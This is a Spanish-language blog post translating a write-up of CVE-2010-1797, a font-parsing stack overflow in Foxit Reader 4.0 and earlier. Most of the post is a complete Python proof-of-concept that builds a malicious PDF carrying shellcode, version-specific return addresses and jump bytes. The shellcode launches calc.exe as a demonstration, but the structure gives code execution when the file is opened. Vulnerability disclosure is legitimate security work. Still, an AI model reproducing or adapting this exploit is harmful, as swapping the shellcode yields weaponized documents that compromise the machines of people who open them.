CVE-2010-1797 PDF exploit para Foxit Reader <= 4.0

Este artículo es la traducción realizada por mí del escrito por jesparza en su blog (http://eternal-todo.com/blog/CVE-2010-1797-foxit-reader-exploit).

Luego de la explicación de la vulnerabilidad Jailbreakme PDF, se publica la demostracion del concepto de la misma vulnerabilidad pero en este caso para la aplicación Foxit Reader. Esta vulnerabilidad ya ha sido parcheada pero se cree que no habrá ningún problema con la misma.

Nosotros podemos usar un shell code de 116-bytes sin la necesidad de la explotación de otra etapa. En este caso se ha modificado la caluladora y se ha incluído el shell code en la versión modificada. Esta es la versión de calc.exe con el shell code para este PoC.

Este exploit genera un PDF que puede ser abierto por Foxit Reader en Windows XP y Windows Vista. Sólo funciona en las últimas versiones de Foxit Reader pero es muy fácil de modificar para otras versiones(este es un ejemplo para la versión 3.0). Se puede encontrar el script codificado en python en la sección de exploits del sitio del autor o directamente desde este enlace.

Igualmente yo les dejo el script en texto plano a continuación:

1: import sys,zlib
2: 
3: def getFFShellcode(sc):
4: ff_sc = ''
5: if len(sc)%4 != 0:
6: sc += (4-len(sc)%4)*'\x00'
7: for i in range(0,len(sc),4):
8: ff_sc += '\xff'+sc[i+3]+sc[i+2]+sc[i+1]+sc[i]
9: return ff_sc
10: 
11: outputHeader = '''
12: ##############################################################################################
13: # FreeType Compact Font Format (CFF) Multiple Stack Based Buffer Overflow (CVE-2010-1797) #
14: ##############################################################################################
15: # #
16: # Product: Foxit Reader <= 4.0 #
17: # Platforms: Windows XP, Windows Vista #
18: # Author: Jose Miguel Esparza <jesparza AT eternal-todo DOT com> #
19: # Web: http://eternal-todo.com #
20: # Date: 2010-08-23 #
21: # #
22: ##############################################################################################
23: '''
24: outputFileName = 'foxit_type2_poc.pdf'
25: usage = 'Usage: '+sys.argv[0]+' target\n\nTargets:\n\t0 - Foxit Reader > 3.0\n\t1 - Foxit Reader 3.0\n\t2 - Other versions'
26: 
27: COMEX_PDF_TEMPLATE = '''%PDF-1.3
28: %\xbe\xbe\xba\xba
29: 4 0 obj
30: << /Length 631 >>
31: stream
32: q Q q 18 750 576 24 re W n /Cs1 cs 0 0 0 sc q 1 0 0 -1 0 0 cm BT 0.0003 Tc
33: 7 0 0 -7 534.7051 -768 Tm /F2.0 1 Tf [ (4/15/10 8:01 P) 1 (M) ] TJ ET Q q
34: 1 0 0 -1 0 0 cm BT 7 0 0 -7 18 -768 Tm /F2.0 1 Tf [ (d) -0.4 (a) -0.2 (ta)
35: -0.2 (:) -0.4 (te) -0.1 (x) -0.3 (t/) -0.4 (h) 0.4 (tm) 0.4 (l) -0.1 (,) -0.4
36: ( ) ] TJ ET Q Q q 18 40 576 24 re W n /Cs1 cs 0 0 0 sc q 1 0 0 -1 0 0 cm BT
37: -0.0003 Tc 7 0 0 -7 555.6299 -43 Tm /F2.0 1 Tf [ (Pa) -1 (ge ) -1 (1) -1 ( )
38: -1 (o) -1 (f ) -1 (1) ] TJ ET Q Q q 18 190 576 560 re W n /Cs1 cs 1 1 1 sc
39: 18 190 576 560 re f 0 0 0 sc q 0.8 0 0 -0.8 18 750 cm BT 16 0 0 -16 8 22 Tm
40: /F2.0 1 Tf ( ) Tj ET Q Q
41: endstream
42: endobj
43: 2 0 obj
44: << /Type /Page /Parent 3 0 R /Resources 5 0 R /Contents 4 0 R /MediaBox [0 0 612 792]
45: >>
46: endobj
47: 5 0 obj
48: << /ProcSet [ /PDF /Text ] /ColorSpace << /Cs1 6 0 R >> /Font << /F2.0 8 0 R >> >>
49: endobj
50: 3 0 obj
51: << /Type /Pages /MediaBox [0 0 612 792] /Count 1 /Kids [ 2 0 R ] >>
52: endobj
53: 7 0 obj
54: << /Type /Catalog /Pages 3 0 R >>
55: endobj
56: 11 0 obj
57: <<
58: /Subtype/Type1C
59: /Filter[/FlateDecode]
60: /Length $CFF_STREAM_LENGTH
61: >>
62: stream
63: $CFF_STREAM
64: endstream
65: endobj
66: 9 0 obj
67: << /Type /FontDescriptor /Ascent 750 /CapHeight 676 /Descent -250 /Flags 32
68: /FontBBox [-203 -428 1700 1272] /FontName /CSDIZD+Times-Roman /ItalicAngle
69: 0 /StemV 0 /MaxWidth 1721 /XHeight 461 /FontFile3 11 0 R >>
70: endobj
71: 10 0 obj
72: [ 556 ]
73: endobj
74: 8 0 obj
75: << /Type /Font /Subtype /Type1 /BaseFont /CSDIZD+Times-Roman /FontDescriptor
76: 9 0 R /Widths 10 0 R /FirstChar 32 /LastChar 32 /Encoding /MacRomanEncoding
77: >>
78: endobj
79: 1 0 obj
80: << >>
81: endobj
82: xref
83: 0 12
84: 0000000000 65535 f
85: 0000017767 00000 n
86: 0000000408 00000 n
87: 0000003397 00000 n
88: 0000000022 00000 n
89: 0000000389 00000 n
90: 0000000512 00000 n
91: 0000003361 00000 n
92: 0000017359 00000 n
93: 0000007240 00000 n
94: 0000000622 00000 n
95: 0000003340 00000 n
96: trailer
97: << /Size 12 /Root 7 0 R /Info 1 0 R >>
98: startxref
99: 17942
100: %%EOF
101: '''
102: 
103: MAX_FF_SECTION_LEN = 45*5
104: JUMP_BYTE = ['\xcd','\xcc']
105: POP_POP_RET_ADDRESS = ['\x00\x40\x11\x85','\x00\x40\xce\x36'] # Foxit reader addresses, depending on the version
106: NUM_SECOND_INSTRUCTIONS_SET = [183,182]
107: 
108: # calc.exe shellcode
109: shellcode = '\x68\x10\xf5\x00\x00\x31\xf6\x64\x8b\x76\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b\x36\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01\xeb\x8b\x4b\x18\x67\xe3\xec\x8b\x7b\x20\x01\xef\x8b\x7c\x8f\xfc\x01\xef\x31\xc0\x99\x32\x17\x66\xc1\xca\x01\xae\x75\xf7\x58\x66\x3b\xd0\x50\xe0\xe2\x75\xcc\x8b\x53\x24\x01\xea\x0f\xb7\x14\x4a\x8b\x7b\x1c\x01\xef\x03\x2c\x97\x66\x3d\x10\xf5\x75\x0e\x33\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\xff\xd5\x68\x06\xcb\x00\x00\xeb\x92'
110: 
111: cff_header = '\x01\x00\x04\x01\x00\x01\x01\x01\x13ABCDEF+Times-Roman\x00\x01\x01\x01\x1f\xf8\x1b\x00\xf8\x1c\x02\xf8\x1d\x03\xf8\x19\x04\x1co\x00\r\xfb<\xfbn\xfa|\xfa\x16\x05\xe9\x11\x8b\x8b\x12\x00\x03\x01\x01\x08\x13\x18001.007Times RomanTimes\x00\x00\x00\x02\x04\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x04\xdc'
112: 
113: if len(sys.argv) > 2 or (len(sys.argv) == 2 and not sys.argv[1].isdigit()) or len(sys.argv) == 1:
114: sys.exit(usage)
115: 
116: version = int(sys.argv[1])
117: if version == 2:
118: sys.exit('Versions < 3.0 are not implemented, try it!! ;)\n')
119: if version > 2:
120: sys.exit(usage)
121: 
122: print outputHeader
123: print '[-] Creating PDF file...'
124: # Building the FF section
125: ff_shellcode = getFFShellcode(shellcode)
126: ff_zero_bytes = '\xff\x00\x00\x00\x00'
127: ff_instructions = ff_zero_bytes*11 + ff_shellcode + ((MAX_FF_SECTION_LEN - len(ff_shellcode) - 55 - 5*5)/5) * ff_zero_bytes + '\xff\x90\x90\x8a\xeb' + '\xff'+POP_POP_RET_ADDRESS[version] + ('\xff\x00'+JUMP_BYTE[version]+'\x00\x00')*3
128: if len(ff_instructions) > MAX_FF_SECTION_LEN:
129: sys.exit('[x] FF section bigger than expected!!')
130: 
131: # Operators sections
132: first_instructions_set = '\x0c\x17\x0c\x17\x0c\x04\x0c\x1d' * 20
133: second_instructions_set = '\x0c\x17\x0c\x1d' * NUM_SECOND_INSTRUCTIONS_SET[version]
134: third_instructions_set = '\x0c\x1d\x0c\x12' * 42
135: 
136: # Building the full CFF content for the fake charstring
137: cff_content = cff_header + '\x0e'*4 + ff_instructions + first_instructions_set + second_instructions_set + third_instructions_set + ff_zero_bytes + '\x0e'
138: # Decoding with FlateDecode
139: encoded_cff_content = zlib.compress(cff_content)
140: 
141: # Creating the PDF based on the Comex PDF, slightly modified
142: pdf_content = COMEX_PDF_TEMPLATE
143: pdf_content = pdf_content.replace('$CFF_STREAM_LENGTH',str(len(encoded_cff_content)))
144: pdf_content = pdf_content.replace('$CFF_STREAM',encoded_cff_content)
145: open(outputFileName,'w').write(pdf_content)
146: print '[+] File "'+outputFileName+'" created, test it!!'

 

Enlaces:

Entradas populares de este blog

Trinity Rescue Kit: Tutorial para eliminar la contraseña de administrador en Windows

Cómo extraer el handshake WPA/WPA2 de archivos de captura grandes

HTTP Fingerprinting